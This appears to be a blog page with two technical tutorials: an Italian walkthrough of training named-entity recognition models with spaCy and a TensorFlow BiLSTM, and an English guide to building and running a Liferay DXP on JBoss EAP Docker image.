Visita il repository Github dove è presente il codice sorgente degli esempi descritto ed eseguibile in jupyter notebook ben documentati.

Spacy

Spacy, come già detto, è una libreria di Machine Learning, dedicata completamente allo sviluppo di strumenti per i diversi task di Natural Language Processing. Si tratta di un framework ben strutturato e con funzionalità avanzate, che fanno si che sia molto adatto anche a contesti di produzione.

Oltre a strumenti già addestrati e rapidamente utilizzabili, come visto nella sezione precedente, fornisce tutta una serie di api e funzioni attraverso le quali è possibile realizzare e addestrare dei propri modelli, in modo rapido ed efficiente, senza doversi preoccupare di dover gestire tutti gli aspetti di più basso livello, che solitamente vanno affrontati durante il training e la creazione di un modello di Machine Learning.

Spacy fornisce delle pipeline già definite e configurabili per molti task di NLP, tra cui la Named Entity Recognition. Andiamo a vedere come addestrare rapidamente un modello per questo task con poche linee di codice, senza dover gestire aspetti che riguardano la definizione dell'architettura del modello, la gestione dei dati, piuttosto che la gestione dei modelli.

In questo primo snippet di codice:

vengono importate le librerie necessarie
viene definito un sample dei dati di training in formato jsonl, che in un contesto reale dovrebbero essere invece letti da un'apposito file con i dati di training
viene inizializzato un nuovo modello o viene caricato un modello già esistente da cui partire per l'addestramento
viene inizializzata la pipeline per la "ner" nel modello, se questa già non è presente

from __future__ import unicode_literals, print_function

import random
import warnings
import spacy
from spacy.util import minibatch, compounding


# training data
TRAIN_DATA = [
    ("Sharon flew to Miami last friday", {"entities": [(0, 5, "PERSON"), (15, 20, "LOC"), (26, 32, "DATE")]}),
    ("Daniele works in Rome for SMC Treviso", {"entities": [(0, 6, "PERSON"), (16, 20, "LOC"), (25, 36, "ORG")]}),
]

model=None
output_dir=None
n_iter=100

"""Load the model, set up the pipeline and train the entity recognizer."""
if model is not None:
    nlp = spacy.load(model)  # load existing spaCy model
    print("Loaded model '%s'" % model)
else:
    nlp = spacy.blank("en")  # create blank Language class
    print("Created blank 'en' model")

# create the built-in pipeline components and add them to the pipeline
# nlp.create_pipe works for built-ins that are registered with spaCy
if "ner" not in nlp.pipe_names:
    ner = nlp.create_pipe("ner")
    nlp.add_pipe(ner, last=True)
# otherwise, get it so we can add labels
else:
    ner = nlp.get_pipe("ner")

# add labels
for _, annotations in TRAIN_DATA:
    for ent in annotations.get("entities"):
        ner.add_label(ent[2])

Source Code 4 - Inzializzazione di un modello in Spacy

Nel codice che segue è invece implementata la vera e propria logica di addestramento.
Inizialmente vengono filtrate le pipeline del modello, disabilitando tutte quelle non necessarie per addestrare un modello per il riconoscimento delle entità. Successivamente sulla base del numero iterazioni da svolgere specificato, si itera sui dati, che vengono divisi in minibatch, e si aggiornano i parametri del modello di iterazione in iterazione. Il Dropout può essere configurato a seconda delle esigenze.
Nell'esempio viene stampata la loss del modello al termine di ogni iterazione di addestramento.

# get names of other pipes to disable them during training
pipe_exceptions = ["ner", "trf_wordpiecer", "trf_tok2vec"]
other_pipes = [pipe for pipe in nlp.pipe_names if pipe not in pipe_exceptions]
# only train NER
with nlp.disable_pipes(*other_pipes), warnings.catch_warnings():
    # show warnings for misaligned entity spans once
    warnings.filterwarnings("once", category=UserWarning, module='spacy')

    # reset and initialize the weights randomly – but only if we're
    # training a new model
    if model is None:
        nlp.begin_training()
    for itn in range(n_iter):
        random.shuffle(TRAIN_DATA)
        losses = {}
        # batch up the examples using spaCy's minibatch
        batches = minibatch(TRAIN_DATA, size=compounding(4.0, 32.0, 1.001))
        for batch in batches:
            texts, annotations = zip(*batch)
            nlp.update(
                texts,  # batch of texts
                annotations,  # batch of annotations
                drop=0.5,  # dropout - make it harder to memorise data
                losses=losses,
            )
        print("Losses", losses)

Source Code 5 - Training del modello

Infine, per terminare il processo di addestramento, il modello, in modo molto semplice, può essere salvato su disco, ed in modo altrettanto semplice, caricato per essere essere utilizzato in contesti reali, andando a specificare il path dove il modello è stato salvato.

# save model to output directory
if output_dir is not None:
    output_dir = Path(output_dir)
    if not output_dir.exists():
        output_dir.mkdir()
    nlp.to_disk(output_dir)
    print("Saved model to", output_dir)

# test the saved model
print("Loading from", output_dir)
nlp2 = spacy.load(output_dir)
for text, _ in TRAIN_DATA:
    doc = nlp2(text)
    print("Entities", [(ent.text, ent.label_) for ent in doc.ents])
    print("Tokens", [(t.text, t.ent_type_, t.ent_iob) for t in doc])

Source Code 6 - Salavataggio e caricamento del modello

In questo esempio non viene in alcun modo definita l'architettura del modello, nè tanto meno viene gestito il vocabolario alla base del modello, cosi come il processo di archiviazione e salvataggio di quest'ultimo.
Viene tutto gestito da Spacy, che definisce tutta la logica della Named Entity Recognition nella pipeline di riferimento. Questo permette anche a chi è meno esperto di poter intraprendere l'addestramento di un modello per un task del genere.

In ogni caso, indagando in profondità nell'implementazione della pipeline, troviamo che l'architettura utilizzata è quella di una rete convolutiva con connessioni residue. Si tratta di reti convolutive che, similmente a quanto avviene nelle celle piramidali della nostra corteccia cerebrale, definiscono delle connessioni residue con altre parti della rete neurale; per alcuni task di NLP queste reti dimostrano di performare in modo molto efficace e superare le prestazioni di altri algoritmi di Deep Learning.

Per approfondimenti e maggiori dettagli è presente un'ottima documentazione sul sito di Spacy, sia riguardo la procedura di addestramento, sia riguardo l'architettura utilizzata.
La configurazione utilizzata può in molti casi portare sin da subito a delle ottime prestazioni; rimane sempre consigliato svolgere un'attività di ottimizzazione dei parametri al fine di individuare quella che è la configurazione migiore. Per consigli su come svolgere questa ottimizzazione visita https://spacy.io/usage/training#tips.

Tensorflow

Tensorflow è tra le librerie di Deep Learning più utilizzate sia per le sperimentazioni, sia in contesto di produzione. Definisce una moltitudine di strumenti e tecniche comunemente utilizzate per realizzare modelli di Machine Learning basati su reti neurali molto profonde. Viene gestita da Google ed è completamente open source.

Figura 8 - Tensorflow

Tensorflow permette di realizzare qualsiasi modello basato su Deep Learning, dando la possibilità di progettare le reti sia attraverso tecniche molto avanzate che permettono la codifica degli aspetti di più basso livello, sia utilizzando layer predefiniti per creare la propria rete neurale con l'architettura che più fa al caso proprio, configurando i diversi layer e la logica di addestramento a proprio piacere, ricercando le migliori performance.

In Spacy siamo di fatto costretti ad utilizzare l'architettura scelta dagli sviluppatori, potendo agire in alcuni suoi parametri di configurazione, ma senza poter definire nel dettaglio l'algoritmo di addestramento.
L'architettura fornita dallo strumento di Spacy in molti casi si può rivelare la migliore, ma potrebber anche essere che, per una determinare sorgente dati e per la natura delle entità che si vogliono riconoscere, ci sia un algoritmo migliore delle reti convolutive scelte in Spacy.

Con Tensorflow, come detto, si può realizzare qualsiasi algoritmo e modello, basato su Deep Learning. Vediamo quindi come definire un modello per la Named Entity Recognition utilizzando Tensorflow Keras e reti neurali ricorrenti bidirezionali di tipo LSTM.
Le reti neurali ricorrenti si adattano ottimamente laddove risulta rilevante individuare relazioni tra feature per il task da svolgere. E per questo motivo sono molto utilizzate per i task di NLP, dove le relazioni nel testo sono molto importanti, come il riconoscimento delle entità.

# import
import pandas as pd
import numpy as np
import pickle
import tensorflow as tf
from tensorflow.keras.preprocessing.sequence import pad_sequences
from tensorflow.keras.utils import to_categorical
from tensorflow.keras import Model, Input
from tensorflow.keras.layers import LSTM, Embedding, Dense
from tensorflow.keras.layers import TimeDistributed, SpatialDropout1D, Bidirectional
from tensorflow.keras.callbacks import EarlyStopping
from sklearn.model_selection import train_test_split

Source Code 7 - Import delle librerie necessarie

Dovendo definire la logica a più basso livello, anche la gestione dei dati va fatta in modo differente, andando a gestire aspetti che in Spacy vengono gestite dalla libreria stessa.
Nello snippet seguente vengono letti i dati di training, in formato BILUO, in un pandas dataframe. Vengono successivamente create le liste senza duplicati dei token e dei tag presenti nel dataset. Infine, secondo la logica definita dalla classe SentenceGetter, il dataset viene splittato in frasi diverse, e vengono creati dei vocabolari che mappano le liste delle parole e dei tag su degli identificativi numerici.

# class to split dataset in sentences
class SentenceGetter(object):
    def __init__(self, data):
        self.n_sent = 1
        self.data = data

        agg_func = lambda s: [(w, t) for w, t in zip(s["Word"].values.tolist(), s["Tag"].values.tolist())]

        self.grouped = self.data.groupby("Sentence #").apply(agg_func)
        self.sentences = [s for s in self.grouped]

# reading csv in pandas dataframe
data = pd.read_csv("data/biluo_train_data.csv", encoding='latin1')
data.fillna(method='ffill')
data.head(20)

print("Unique words in corpus:", data['Word'].nunique())
print("Unique tags in corpus:", data['Tag'].nunique())

# defining list of words
words = list(set(data["Word"].values))
words.append("ENDPAD")
num_words = len(words)

# defining list of tags
tags = list(set(data["Tag"].values))
num_tags = len(tags)
print (num_words, num_tags)

# splitting dataset in sentences
getter = SentenceGetter(data)
sentences = getter.sentences

# defining dictionaries to mapping words and tags to integers
word2idx = {w: i+1 for i, w in enumerate(words)}
tag2idx = {t: i for i, t in enumerate(tags)}

Source Code 8 - Lettura e trasformazione dei dati

A questo punto i vocabolari creati vengono utilizzati per mappare ogni contenuto testuale su una sequenza di interi, potendo poi così dare queste in input alla rete neurale definita per le epoche di addestramento.
Una volta fatto ciò gli insiemi dei dati e dei tag assiociati vengono splittati in insieme di training e insieme di test, che verrà utilizzato per la valutazione del modello addestrato.

# max len of sentencess
max_len = 400

# for every sentence mapping words to integer id based on dictionary word2idx and padding every sequence to same length
X = [[word2idx[w[0]] for w in s] for s in sentences]
X = pad_sequences(maxlen=max_len, sequences=X, padding='post', value=num_words-1)

# for every sentence mapping tags to integer id based on dictionary tag2idx and padding every sequence to same length
y = [[tag2idx[w[1]] for w in s] for s in sentences]
y = pad_sequences(maxlen=max_len, sequences=y, padding='post', value=tag2idx["O"])
y = [to_categorical(i, num_classes=num_tags) for i in y]

# splitting dataset in train and test set
x_train, x_test, y_train, y_test = train_test_split(X, y, test_size=0.1, random_state=1)

Source Code 9 - Mapping dei dati

Figura 9 - Esempio di mapping dei dati

A questo punto viene definita l'architettura del modello. Si tratta di una rete con un layer di Embedding iniziale, un layer LSTM di tipo bidirezionale e infine un layer TimeDistributed, che definisce uno strato fully connected sulle stesse finestre temporali. Per approfondimenti sulla natura dei diversi layer si rimanda alla documentazione ufficiale.

Il modello viene poi addestrato su un certo numero di epoche, utilizzando EarlyStopping come callback che monitora l'addestramento e lo interrompe qualora la rete inizi a soffrire di overfitting, cioè di eccessivo adattamento dei dati training, con conseguente perdita di accuratezza sui dati di test.

input_word = Input(shape=(max_len,))
model = Embedding(input_dim=num_words, output_dim=max_len, input_length=max_len)(input_word)
model = SpatialDropout1D(0.1)(model)
model = Bidirectional(LSTM(units=100, return_sequences=True, recurrent_dropout=0.1))(model)
out = TimeDistributed(Dense(num_tags, activation='softmax'))(model)
model = Model(input_word, out)
model.summary()

model.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])

early_stopping = EarlyStopping(monitor='val_loss', min_delta=0, patience=10, verbose=0, mode='auto', baseline=None,
                               restore_best_weights=False)
callbacks = [early_stopping]

history = model.fit(
    x_train, np.array(y_train),
    validation_split=0.2,
    batch_size=32,
    epochs=30,
    verbose=1)

Source Code 10 - Definizione dell'architettura del modello e addestramento

Infine il modello viene salvato su disco, archiviando ogni componente necessaria per i futuri utilizzi. Non viene salvato solo il modello, ma anche tutti i vocabolari necessari per le trasformazioni sui dati.

with open('models/bilstm/word2idx.pickle', 'wb') as handle:
    pickle.dump(word2idx, handle, protocol=pickle.HIGHEST_PROTOCOL)

with open('models/bilstm/tag2idx.pickle', 'wb') as handle:
    pickle.dump(tag2idx, handle, protocol=pickle.HIGHEST_PROTOCOL)

with open('models/bilstm/words.pickle', 'wb') as handle:
    pickle.dump(words, handle, protocol=pickle.HIGHEST_PROTOCOL)

with open('models/bilstm/tags.pickle', 'wb') as handle:
    pickle.dump(tags, handle, protocol=pickle.HIGHEST_PROTOCOL)

# Saving Model Weight
model.save('models/bilstm/bilstm.h5')

Source Code 11 - Esempio in formato JSONL

Per riutilizzare il modello basta caricarlo specificando il path dove è stato archiviato, importando anche i dizionari. Definiamo anche una funzione per svolgere tokenizzazione sul testo sfruttando nltk.

import nltk

# Custom Tokenizer
def tokenize(s): return nltk.word_tokenize(s)

sentence = "Sharon flew to Miami last friday"

max_len = 400

# loading dictionaries
with open(ROOT_FOLDER + '/bilstm_3/word2idx.pickle', 'rb') as handle:
    word2idx = pickle.load(handle)

with open(ROOT_FOLDER + '/bilstm_3/tag2idx.pickle', 'rb') as handle:
    tag2idx = pickle.load(handle)

with open(ROOT_FOLDER + '/bilstm_3/words.pickle', 'rb') as handle:
    words = pickle.load(handle)

with open(ROOT_FOLDER + '/bilstm_3/tags.pickle', 'rb') as handle:
    tags = pickle.load(handle)

# loading model
model = load_model(ROOT_FOLDER + '/bilstm_3/bilstm_3.h5')

Source Code 12 - Caricamento del modello e dei dizionari

A questo punto tokenizziamo il testo, ne facciamo il padding alla lunghezza massima specificata e lo diamo in input al modello, che restituirà per ogni token il tag e la probabilità associata.

# Tokenization
test_sentence = tokenize(sentence)

# Preprocessing
x_test_sent = pad_sequences(sequences=[[word2idx.get(w, 0) for w in test_sentence]],
                            padding="post", value=len(words)-1, maxlen=max_len)

# Predicting tags and probabilities
p_pred = model.predict(np.array([x_test_sent[0]]))
p = np.argmax(p_pred, axis=-1)

prediction = []

# Visualization
for w, pred, probs in zip(test_sentence, p[0], p_pred[0]):
    prediction.append((w, tags[pred], probs[pred]))

Source Code 13 - Utilizzo del modello per la predizione dei tag

Come già detto, utilizzare Tensorflow, piuttosto che un'altra libreria di Deep Learning, per addestrare modelli per task di questo genere, risulta più complesso e richiede maggiore conoscenza di tutti gli aspetti alla base del Machine Learning.
In molti casi strumenti come Spacy permettono di raggiungere livelli di prestazioni molto alti, ma qualora non si riescano a raggiungere prestazioni degne di nota, allora strumenti come Tensorflow, possono essere utilizzati per ricercare la rete neurale e la configurazione che più fa al proprio caso.

Applicazioni delle NER

La capacità di individuare in modo intelligente e efficace entità nel testo, permette di fatto di taggare i contenuti testuali con quelli che possono risultare dei concetti rilevanti per quest'ultimi. Questo si traduce nella possibilità di realizzare o migliorare una serie di possibili applicazioni.

🔍 Sistemi di ricerca

Attraverso l'utilizzo della NER è possibile migliorare sia in efficienza che in efficacia i sistemi di ricerca.
In efficienza, andando di fatto, a svolgere le ricerche direttamente sulla lista di tag o entità associate ai diversi contenuti, invece di svolgere una ricerca full text.
In efficacia, permettendo di svolgere delle ricerche mirate, su determinati tipi di entità.
Ad esempio, se voglio cercare i documenti che fanno riferimento ad una determinata persona o organizzazione, posso riconoscere attraverso la NER questi tipi di entità, e mapparli su appositi campi, andando di fatto a svolgere una ricerca che filtra in base al tipo di categoria e al valore specificato. O ad esempio, taggare le email passsate, con persone e indirizzi email, specificandone anche il contesto.
Un'applicazione di questo genere può risultare molto importante in un contesto enterprise, con lo scopo di cercare in modo rapido ed efficacie, i contenuti di un'azienda, di un dipendente piuttosto che di un cliente.

☎️ Customer Service

Il customer care delle aziende si trova a dover navigare tra centinaia o migliaia di messaggi di assistenza al giorno. La possibilità di taggare i diversi messaggi e ticket in arrivo, può velocizzare di molto la capacità di inviare in modo corretto e rapido i ticket ai reparti specializzati nel prendere in carico una specifica tipologia di problema.

👀 Sistemi di raccomandazione

Nei sistemi di raccomandazione risulta fondamentale analizzare ciò che un utente esplora, e nel caso di un sistema di raccomandazione testuale, come può essere un strumento di raccomandazione di news ad esempio, la capacità di riconoscere entità nel testo permette di analizzare i contenuti che l'utente visita, in modo da poi raccomandarne dei simili.

How to create Docker images Liferay DXP + Red Hat JBoss EAP

Wed, 21 Oct 2020 00:00:00 GMT

Docker has become increasingly popular in today's development lifecycle, providing an automated way to package software and its dependencies into a standardized unit that can be shared across multiple platforms. For more information on the subject, I recommend a "detour" to the wide documentation of Docker.

With this article I want to take you by the hand and lead you to the construction of a Docker image of Liferay DXP installed on Red Hat JBoss EAP. Arm yourself with patience because the road will be a little long but I'm sure it will upon arrival you will be satisfied.

The article focuses on Liferay DXP version 7.2 and version 7.2 by Red Hat JBoss EAP. Some of you will know that October 13, 2020 was Liferay DXP version 7.3 released, and I'm sure you'll be pleased to know that I dedicated the last chapter to creating the image with the latter Liferay version installed on the latest version of JBoss EAP 7.3.

1. Liferay's standard Docker images

Liferay provides official Docker images for the following products. These pictures are freely available and published on the Docker Hub repository by Liferay. The related Docker image is available for each product release. The figure below shows the latest Liferay DXP version 7.3 Docker images.

Figure 1 - Liferay Docker Hub Repository

You can extract Liferay Docker images from the resources indicated in precedence and manage them independently. Liferay Workspace, however, it does provide an easy way to integrate Docker development into your own existing workflow with prepackaged Gradle activities or tasks.

Thanks to the Liferay Workspace we can perform the following activities.

Creating a Docker container based on a standard image provided via Docker Hub.
Container configuration.
Interact with the container.
Creating a custom Liferay image.

All detailed information is available on the official documentation by Liferay Leveraging Docker. The next paragraphs briefly describe how the images are organized produced by Liferay.

1.1. Tags

The tags follow the format {version}-{data}. Version indicates the version of Liferay DXP and date indicates the date the Docker image was created. The tags following the {version} format always point to the last tag following the format {version}-{date}.

DXP images come with a 30 day trial license. Pictures older ones will be deleted regularly and new images will be available with a new 30-day trial license.

1.2. Runnings

To start Liferay DXP, replace {tag} and run the command docker run -it -p 8080:8080 liferay/dxp:{tag}

The -it argument allows you to stop the container with the combination of CTRL-C keys. Otherwise, you need to use the docker kill {containerId} command (or other equivalent) to stop the container.

The argument -p 8080: 8080 maps container port 8080 to port 8080 of the host so that you can access Liferay DXP using a browser.

1.3. Evironment Variables

You can fine-tune the default JVM parameters by setting the variable LIFERAY_JVM_OPTS environment.

You can customize the behavior of Liferay DXP via environment variables that reference the configuration properties defined on the portal.properties file. For example, if you want to configure the Liferay instance for the English language only and Portuguese, you can use one of the following strategies:

create the portal-ext.properties file with the entry locales.enabled = en_US, pt_BR;
set the environment variable LIFERAY_LOCALES_PERIOD_ENABLED = en_US, pt_BR.

Environment variables take precedence over portal.properties. The respective environment variable of each property is documented within the file portal.properties.

1.4. File System

To quickly test your changes without creating a new image, map the host file system to container file system.

Start the container with the option -v $(pwd)/xyz123:/mnt/liferay to link $(pwd)/xyz123 on the host OS to /mnt/liferay on the container. I remember that PWD stands for Pathname Working Directory.

The files in the host directory $(pwd)/xyz123/files are also available in the container directory /mnt/liferay/files and will be copied to /opt/liferay before starting Liferay DXP.

For example, if you want to edit Apache Tomcat setenv.sh file, enter these changes in $(pwd)/xyz123/files/tomcat/bin/setenv.sh, thus the file setenv.sh will be overwritten in /opt/liferay/tomcat/bin/setenv.sh first starting Liferay DXP.

1.5. Scripts

All scripts in the container directory /mnt/liferay/scripts will come run before starting Liferay DXP. For example, it is possible to install scripts that clean up cache directories before the portal goes up. Place your scripts in $(pwd)/xyz123/scripts.

1.6. Deploy

Copy the files to $(pwd)/xyz123/deploy on the host OS to install modules (or bundles) on Liferay DXP at runtime. The directory can be used to install the license file, which is required to be able to use the product.

2. Extension of the liferay-docker project

Liferay produces its own official Docker images via the published project on GitHub which is called liferay-docker, project not very popular with the general public. The images produced are though exclusively created from the bundle with Apache Tomcat.

Figure 2 - Home page of the liferay-docker project on GitHub (https://github.com/liferay/liferay-docker)

Instead, the need is to create a Docker image where Liferay is installed on JBoss EAP. However, it is advisable to create the new image while keeping the "services offered" from the official images produced by Liferay (see: file system, environment variables, support for running pre-start scripts, etc.).

To achieve this, it is enough to extend the liferay-docker project so that it is possible:

build the Docker image where Liferay is installed on JBoss EAP;
push the Docker image created to a repository;
install the Liferay Patching Tool, Fix Pack, Hot Fix and Security Fix Pack directly during the build phase;
run the JBoss EAP Patch installation.

The object of the extension is the build_local_image.sh script. This is responsible the execution of the operations indicated above, of which the last are optional. The diagram shown in the following figure illustrates the various stages of the Liferay Docker image building process.

The creation of the Docker image follows the Liferay installation process on JBoss EAP as described by the official Liferay document called Installing on JBoss EAP.

Figure 3 - Liferay DXP + JBoss EAP Docker image creation process

3. Requirements

So that you can successfully complete the image creation Docker, a number of software requirements must be met for the machine dedicated to the build operation. The software requirements to be met are the following.

Unix/Linux/macOS Operating System. Alternatively, a Bash shell (version 3.x) is sufficient.
Docker Engine 18.x or 19.x.
Git 2.x (optional).
JDK 1.8 0 11.

As for Docker, you can install Docker Desktop on your own workstation, available for both Microsoft operating systems and Apple operating systems. I recommend installing the stable version avoiding the edge version, the latter useful for experimenting with the latest features.

If you have already installed Docker, check the version on your system using the docker version command making sure the version is in range indicated by the requirements. An example of the command output is shown below. In this case the version is 19.03.13, therefore in line with what is requested.

Client: Docker Engine - Community
 Cloud integration  0.1.18
 Version:           19.03.13
 API version:       1.40
 Go version:        go1.13.15
 Git commit:        4484c46d9d
 Built:             Wed Sep 16 16:58:31 2020
 OS/Arch:           darwin/amd64
 Experimental:      false

Server: Docker Engine - Community
 Engine:
  Version:          19.03.13
  API version:      1.40 (minimum version 1.12)
  Go version:       go1.13.15
  Git commit:       4484c46d9d
  Built:            Wed Sep 16 17:07:04 2020
  OS/Arch:          linux/amd64
  Experimental:     false
 containerd:
  Version:          v1.3.7
  GitCommit:        8fba4e9a7d01810a393d5d25a3621dc101981175
 runc:
  Version:          1.0.0-rc10
  GitCommit:        dc9208a3303feef5b3839f4323d9beb36df0a9dd
 docker-init:
  Version:          0.18.0
  GitCommit:        fec3683

Console 1 - Output of the docker version command

The software needed to create the image can be downloaded as an archive liferay-docker-1.0.0.zip.

4. Dependency downloads

The image creation process requires the following to be available bundle.

Liferay DXP WAR
Liferay DXP Dependencies
Liferay DXP OSGi Dependencies
Liferay Patching Tool
Liferay DXP Fix Pack (optional)
Liferay DXP Hot Fix (optional)
Liferay DXP Security Pack (optional)
Red Hat JBoss EAP
Red Hat JBoss EAP Patch (optional)

The first five bundles listed are for Liferay and these must be downloaded from the Liferay Customer Portal, is therefore required an account that is enabled to access and download.

Bundles covering, Fix Pack, Hot Fix and Liferay Security Pack are optional, necessary in case you want to apply Docker image build phase Liferay a specific Fix Pack, Hot Fix or Security Pack. The figure below shows the download section of the Liferay Customer Portal.

Figure 4 - Download Fix Packs, Product / Service Packs and Security Fix Packs section of the Liferay Customer Portal

As for the JBoss EAP bundle, this can be downloaded in GA version and any patches from the RedHat Customer Portal.

Figure 5 - Red Hat Customer Portal from where to download the installation zip file and any patches

For this article, the reference version of Liferay is DXP 7.2 SP 3 and that of RedHat JBoss is 7.2. The table below shows in detail the list of required dependencies (and not the optional ones indicated in the previous list).

Artifact Name	File Name	Version	Source
Liferay DXP WAR	liferay-dxp-7.2.10.3-sp3-202009100727.war	7.2.10 SP 3	Liferay Customer Portal
Liferay DXP Dependencies	liferay-dxp-dependencies-7.2.10.3-sp3-202009100727.zip	7.2.10 SP 3	Liferay Customer Portal
Liferay DXP OSGi Dependencies	liferay-dxp-osgi-7.2.10.3-sp3-202009100727.zip	7.2.10 SP 3	Liferay Customer Portal
Liferay Patching Tool	patching-tool-2.0.15.zip	7.2.10 SP 3	Liferay Customer Portal
RedHat JBoss EAP	jboss-eap-7.2.0.zip	7.2.0 GA	RedHat Customer Portal

Table 1 - List of bundles that must be downloaded before starting the image creation procedure

5. How to create the image

To create the Docker image you need to install the project extension liferay-docker on the dedicated machine to the build process. It is also essential that you have downloaded the bundles indicated in Table 1.

The basic steps to proceed with the creation of the image are:

installation of the liferay-docker project extension;
preparation of the directory that will contain the bundles of Table 1;
run the build_local_image.sh script.

The build_local_image.sh script that starts the image creation process Docker Liferay + JBoss EAP, must be run by specifying the following parameters:

the relative path that contains the bundles of Table 1;
the name of the Docker image/repository;
the name of the tag to be assigned to the image;
flag that indicates whether to push the image to the Docker repository (no-push | push);
name of the application server, whose value in this case is jboss-eap.

By running the script without providing any parameters, the modes will be shown use of the command (see figure below). Remember that the script remains valid to perform Liferay imaging based on the Apache Tomcat bundle of Liferay.

Figure 6 - How to use the script to build local images

Console 2 shows the sequence of commands needed to complete with successful creation of Liferay Docker image installed on JBoss EAP. The image creation process may take several minutes (between 6 and 8 minutes on CPU: i7 10th generation 1 Socket 2 Core, RAM: 16GB, Storage SSD).

# 1. Unzip of the liferay-docker project extension
$ unzip ~/Downloads/liferay-docker-1.0.0.zip

# 2. Preparing the directory that will contain the bundles
$ cd liferay-docker-1.0.0
$ cp -a ~/Downloads/bundles .

# 3. Running the image build process
$ ./build_local_image.sh bundles amusarra/liferay-dxp liferay-dxp-7.2.10-sp3 no-push jboss-eap

Console 2 - Commands for creating Liferay Docker image installed on JBoss EAP

When the build_local_image.sh script finishes running, using the command docker images you can check the new image just created (see figure below).

Figure 7 - Verification of the new Docker Liferay DXP + JBoss EAP image

As you can see from what is shown in the figure, two tags have been created that reflect the pattern indicated in 1.1. Tags that point to the same image (see image id). The Docker image created is ready to be used.

5.1. JBoss EAP configuration template

JBoss EAP, on which Liferay was installed, received the configuration base defined on the Installing on JBoss EAP document. The basic JBoss EAP configuration files are available within the $PROJECT_DIR/template/jboss-eap directory, as shown in the figure following.

Figure 8 - Template directory structure for JBoss EAP 7.2.0 configuration files

The basic configuration of JBoss EAP can possibly be changed according to your needs, doing so already in the image creation phase is it is possible to apply customizations to the basic configuration.

It is recommended to apply customizations to the JBoss EAP configuration via the container configuration (see 1.3. Evironment Variables and 1.4. File System).

5.2. Patching Tool Installation

In case you want to install the Liferay Patching Tool on the image to create, just download from the Liferay Customer Portal the latest version of the Patching Tool (for example: patching-tool-2.0.15.zip), and place the zip file inside the directory containing the rest of the bundles indicated in Table 1.

When creating the image, if the Patching Tool is present, this will be installed inside the so-called LIFERAY_HOME (see figure below).

Figure 9 - Evidence of the Patching Tool installed during image creation

The operation of is performed during the installation of the Patching Tool auto-discovery which as a consequence will create the default.properties file inside of the Patching Tool home directory.

For more information about installing and using this tool, refer to the official Liferay document which is called Installing the Patching Tool.

Note: When creating a new image it is recommended to always start from the latest available version of the Liferay bundles. The installation of the Patching Tool is essential for creating an image to apply the latest Fix Pack, Hot Fix or Security Fix released by Liferay. The application fixes can also be performed after image creation, for example, when a Liferay container is created.

5.3. Liferay Fix Pack installation

When creating the image, you can apply the released Fix Packs from Liferay. Before you can install the Fix Pack it is essential that you have installed the Patching Tool (see 5.2. Patching Tool Installation).

Note: When deciding to install a Fix Pack it is essential to make sure that the version of the Patching Tool installed is compatible with the Fix Pack wants to install. This information can be found on the download section of the Fix Pack itself.

Figure 10 - Patching Tool requirements for installing the Fix Pack

To activate the installation of the Fix Pack during image creation, you need to download the Fix Pack from the Liferay Customer Portal and place the zip file inside the directory containing the rest of the bundles indicated in Table 1.

The figure below shows the installation of the Fix Pack starting immediately afterwards the installation of the Patching Tool, and in this case it is the Fix Pack liferay-fix-pack-dxp-8-7210.zip on Liferay 7.2 DXP SP 2 version.

Figure 11 - Fix Pack installation during Docker Liferay image creation

5.4. Liferay Hotfix and Security Fix Pack installation

As with the installation of the Fix Pack, also Hotfix and Security Fix Pack follow the same installation procedure. To activate the installation in phase to create the image, it is necessary to download the relative zip files from the Customer Portal of Liferay and place them inside the directory containing the rest of the bundles indicated in Table 1.

5.5. JBoss EAP Patch Installation

As with Liferay, so is JBoss EAP in the creation process Docker image, if the patch zip file is present, it will be applied. The figure below shows the patch being applied during the build process. In this case patch 7.2.9 has been applied, which means that the new JBoss EAP version will be 7.2.9.

Figure 12 - Patch application on JBoss EAP 7.2.0 during the image build process

When the Liferay instance is up, you can check the JBoss EAP version from the application server logs themselves or using the version and patch info directly from the JBoss EAP CLI. The figure below shows the check the version of JBoss EAP, which after applying the patch is passed from 7.2.0 to 7.2.9.

Figure 13 - JBoss EAP version and patching level check

6. Run the Docker Liferay DXP + JBoss EAP image

To launch Liferay's new Docker image, you can use commands Docker standard. Console 3 shows some of the standard commands for start the new image.

# Starting amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3 image in interactive mode by exposing HTTP port 8080
$ docker run -it -p 8080:8080 -P amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3

# Starting amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3 image in detached mode by exposing
# ports 8000 (DEBUG), 8080 (HTTP) and 11311 (Gogo Shell)
$ docker run -d -p 8000:8000 -p 8080:8080 -p 11311:11311 -P amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3

# Starting amusarra/liferay-dxp:liferay-dxp-7.2.10-sp3 image in detached mode by exposing
# ports 8000 (DEBUG), 8080 (HTTP) and 11311 (Gogo Shell) and giving the container a name
$ docker run -d --name liferay72jboss -p 8000:8000 -p 8080:8080 -p 11311:11311 -P amusarra:liferay-dxp-7.2.10-sp3

Console 3 - Standard Docker commands to start Docker Liferay image

When the image is started you can see the following information that are shown in detail in the figure below:

how to get the console of the newly created container;
the version of JAVA used to start Liferay;
the situation on the file system on which it is possible to act through the use of the Docker Volume.

Figure 14 - Liferay Docker Image Boot Log

6.1. Use Docker Volume

To act on the configuration of Liferay and JBoss EAP, thus avoiding the creating new images, you can take advantage of the so-called Docker Volumes by mounting the file system local on the container in execution, as indicated in chapter 1.4. File System.

In case you for example wanted to configure Liferay to use Oracle as RDBMS, the procedure to follow is as follows:

prepare the file system layout as required by the standard Liferay images (see File System);
review the JBoss EAP configuration:
- modify the module.xml configuration file to add the reference to the RDBMS driver, which in this case is Oracle;
- copy the Oracle JDBC driver to the JBoss EAP installation;
add the connection configuration to the database through the portal-ext.properties properties file or through the environment.

Console 4 shows the commands for creating the file system layout that will contain the configuration files needed to connect Liferay to the Oracle database.

# 1. Prepare the file system layout
$ mkdir liferay-with-jboss-docker-configuration
$ cd liferay-with-jboss-docker-configuration
$ mkdir deploy && mkdir scripts && mkdir files

# 2. Copy the revised module.xml file with reference to the Oracle JDBC driver
$ mkdir -p files/jboss-eap/modules/com/liferay/portal/main/
$ cp ~/Downloads/module.xml files/jboss-eap/modules/com/liferay/portal/main/

# 3. Copy the Oracle JDBC driver
$ cp ~/Downloads/ojdbc8.jar files/jboss-eap/modules/com/liferay/portal/main/

# 4. Copy of the portal-ext.properties file with the connection configuration to the Oracle database
$ cp ~/Downloads/portal-ext.properties files/

Console 4 - Prepare File System Layout for Oracle RDBMS Configuration

